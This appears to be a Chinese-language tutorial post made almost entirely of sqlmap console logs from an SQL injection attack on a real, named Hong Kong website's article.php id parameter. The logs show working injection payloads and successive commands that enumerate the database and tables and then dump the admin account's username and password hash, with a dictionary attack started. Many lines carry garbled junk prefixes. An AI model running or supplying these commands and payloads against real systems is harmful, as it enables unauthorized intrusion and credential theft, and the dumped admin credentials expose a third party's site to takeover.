sqlmap实例注入mysql

admin

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
0 x" ?3 ^* Q3 M( n$ h1 Rms "Mysql" --current-user       /*  注解：获取当前用户名称
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:53:54
0 B- ^3 @% \- c' S3 E[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
0 {: d* {% D3 D9 ~3 a" X- z# S session file
[16:53:54] [INFO] resuming injection data from session file
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
' a# m$ ^6 x# ~% x0 U[16:53:54] [INFO] testing connection to the target url
; |1 m2 E- c: O1 \2 t9 c, [sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
2 F! C. R; O' G& V9 a- G7 jParameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
! p6 O8 j; x7 M. F, Z1 h0 z( F: y8 K    Payload: id=276 AND 799=799
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
. b% M) B* f6 k! ]: o. T- r. {1 o120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
) |0 l( G* }/ N4 M- F# K),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
: {) u1 l% m. z% t7 e    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
2 c& J0 ~) _6 v( ~  hCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
$ c( m. g% Y5 m1 Q3 X7 J+ z    Type: AND/OR time-based blind
) `1 ~  Y$ U- R* \8 V    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
, |2 m$ O0 c- ?8 u$ ^---
[16:53:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
[16:53:55] [INFO] fetching current user
current user:    'root@localhost'   
! W6 T) N1 E/ Z/ A4 x[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
6 t, J5 y  o2 ^( Ttput\www.wepost.com.hk'

shutting down at: 16:53:58
9 P8 t  B# g6 E1 h1 Q
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
# y* a% y! w, I' i! R8 c* ^ms "Mysql" --current-db                  /*当前数据库
0 b6 t7 w( {& R( H% D) D    sqlmap/0.9 - automatic SQL injection and database takeover tool
' \2 j$ r; v5 _# c    http://sqlmap.sourceforge.net

starting at: 16:54:16
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
. T; F. {; A; d% Z[16:54:16] [INFO] resuming injection data from session file
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[16:54:16] [INFO] testing connection to the target url
  y, I5 r/ e. Lsqlmap identified the following injection points with a total of 0 HTTP(s) reque
8 ^5 d& D3 F$ g( Hsts:
9 ?4 l6 a+ h3 |. [---
Place: GET
6 [1 v+ r' V6 ]" c+ XParameter: id
5 Q  w' Q- m/ b: q  X. l7 ^    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
! M) \# C! X- U" T/ X! w( b' e    Payload: id=276 AND 799=799
/ e4 A- O# P/ v# E1 D    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
; Q7 ]4 w4 V: s; d# ^, T    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
3 \6 U  ]2 e( A7 l1 \( \120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
/ v' p( I+ ?1 |& z! q/ l5 A/ g),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
3 l3 d, [) [5 u& y" v    Title: MySQL UNION query (NULL) - 1 to 10 columns
: l7 T/ R: H* p  N. X' `    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
2 {8 G4 b# P- u(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
8 I* b# A8 i  u8 ~  H! x, v! ~1 e2 CCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
$ I: u& {0 |2 V# Z4 \3 @) R+ [    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
8 o, f( g8 U$ S# }. h. _8 \0 K---
[16:54:17] [INFO] the back-end DBMS is MySQL
( i- y+ v  T+ P5 L9 Wweb server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
5 |# f2 q- P$ _& t$ m* b[16:54:17] [INFO] fetching current database
current database:    'wepost'
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:54:18
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
7 l# s2 n; O, Y% ?2 n% ~2 g# s$ J  jms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
5 F- \% ^. w1 e. i) B1 b* ]2 h    sqlmap/0.9 - automatic SQL injection and database takeover tool
1 K) b: k  e6 @& _- j: S    http://sqlmap.sourceforge.net

starting at: 16:55:25
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
[16:55:25] [INFO] resuming injection data from session file
! t4 }4 f" G5 p/ G$ k9 {[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
# ^$ r% c& a2 \6 l0 U. F[16:55:25] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
8 ^( }* k+ d% D3 F    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
$ e% c, y% i8 v- T) l0 Y    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
# I. J7 _7 u! u# V(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
9 E- p! T. h1 |. ?8 Y5 z  xCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
# \2 n$ v! O  D2 N  {    Type: AND/OR time-based blind
5 @4 x/ {$ w3 a0 M' Q    Title: MySQL > 5.0.11 AND time-based blind
5 a* H& k5 u  {* w, o    Payload: id=276 AND SLEEP(5)
---
9 F) U# W5 L5 X& {[16:55:26] [INFO] the back-end DBMS is MySQL
% Z  u; Q9 j8 _1 G3 f6 sweb server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
) p1 U7 M0 o2 z) l  ]" z[16:55:26] [INFO] fetching tables for database 'wepost'
7 c- @% k. s  w5 [9 V6 Z+ X+ k[16:55:27] [INFO] the SQL query used returns 6 entries
( f( Y( L5 B! v+ qDatabase: wepost
( O) p0 Y: w/ Q( s& ^* ]+ O[6 tables]
+-------------+
5 {& [. z% T6 y) z$ t1 o4 T0 Z| admin       |
| article     |
| contributor |
| idea        |
| image       |
8 k3 \% f3 V, c| issue       |
0 v7 M) j2 y/ W& s+-------------+
; n+ g; r- i8 {5 |3 ~5 \[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:55:33
  }& W# {% e* i
! r! }- V9 f; T: F& ~* `D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
    sqlmap/0.9 - automatic SQL injection and database takeover tool
0 ^. T/ m  L0 B+ J) n+ i% \8 K    http://sqlmap.sourceforge.net

starting at: 16:56:06
( k$ |9 }9 L1 ~$ L4 B8 G- E, Wsqlmap identified the following injection points with a total of 0 HTTP(s) reque
; `8 @3 c. `' o* g- T  Qsts:
2 Z* {( |6 `; u4 Y---
+ {- k( g) k  h5 YPlace: GET
2 C% ~$ x3 I7 r( N0 G9 CParameter: id
6 r: X' a3 Q* q: `9 ^) |! T- m    Type: boolean-based blind
* G- c$ w+ W5 C! b) e1 O    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
1 Y7 X, N0 `$ e; _8 d- w    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' Y! t  `$ S8 j  [3 k# f: t6 o% [120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
+ m3 _$ r, b* k/ K+ f" e),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
$ \6 M, w! P0 U/ [) X  q/ n    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
  H) i3 G- ^) Z5 D    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
8 F) I0 ^5 y' Z6 g1 kweb server operating system: Windows
: G4 N# B4 W3 Uweb application technology: Apache 2.2.11, PHP 5.3.0
* ~; c  S5 Y' Q- F" X% gback-end DBMS: MySQL 5.0
; F, F* V* r4 p4 _! z4 Y- N( z5 P: T[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
ssion': wepost, wepost
Database: wepost
Table: admin
[4 columns]
+----------+-------------+
| Column   | Type        |
( G4 b: n6 j4 B5 X! s3 t+----------+-------------+
| id       | int(11)     |
| password | varchar(32) |
| type     | varchar(10) |
6 p! l4 C! h. N6 w9 C| userid   | varchar(20) |
+----------+-------------+
9 z+ r- g) T  m$ t3 f* o6 |% {

shutting down at: 16:56:19
" j0 c8 ~/ `  s# s
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
    sqlmap/0.9 - automatic SQL injection and database takeover tool
  }4 O, ]% \( @, W8 D$ N; m+ H    http://sqlmap.sourceforge.net

starting at: 16:57:14
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
% P% P( ~) ?0 v* j: |---
Place: GET
Parameter: id
4 ^2 X: D# n+ x  B0 j    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
4 Y+ A2 i0 d, |( g, Q    Type: error-based
' G6 }& X4 D9 |2 C% k* f6 D$ ]    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
$ L1 Z/ k' {9 k0 Y    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
: G7 d0 i# q; S: n) Y120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
8 p# O' X4 u& D2 z* _),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
6 O$ W; H9 [9 ~0 v  }. G. C0 A. r    Type: UNION query
& f- H6 e. l( y. B" `* o8 Q2 D: n    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
web server operating system: Windows
9 I! ?& Z8 V; Y3 l$ jweb application technology: Apache 2.2.11, PHP 5.3.0
+ a* H* [$ w, I1 a3 g+ c+ jback-end DBMS: MySQL 5.0
recognized possible password hash values. do you want to use dictionary attack o
, t* r! g; `: ~* Z( ln retrieved table items? [Y/n/q] y
& n$ P8 j* ^2 l8 x3 Lwhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
do you want to use common password suffixes? (slow!) [y/N] y
Database: wepost
$ R& `, p7 [0 T6 |& `Table: admin
' `$ \% N7 v, F6 N" y: m[1 entry]
/ e+ z$ D8 A- r; S8 t! \+----------------------------------+------------+
3 ]! m- W1 {1 `- q& O" v9 H$ n5 U| password                         | userid     |
7 X% g! D0 S& d+----------------------------------+------------+
  a% V3 N4 f2 k# C0 s" O6 b| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
! Q& g3 N; [6 y' k& d* e+----------------------------------+------------+

shutting down at: 16:58:14

D:\Python27\sqlmap>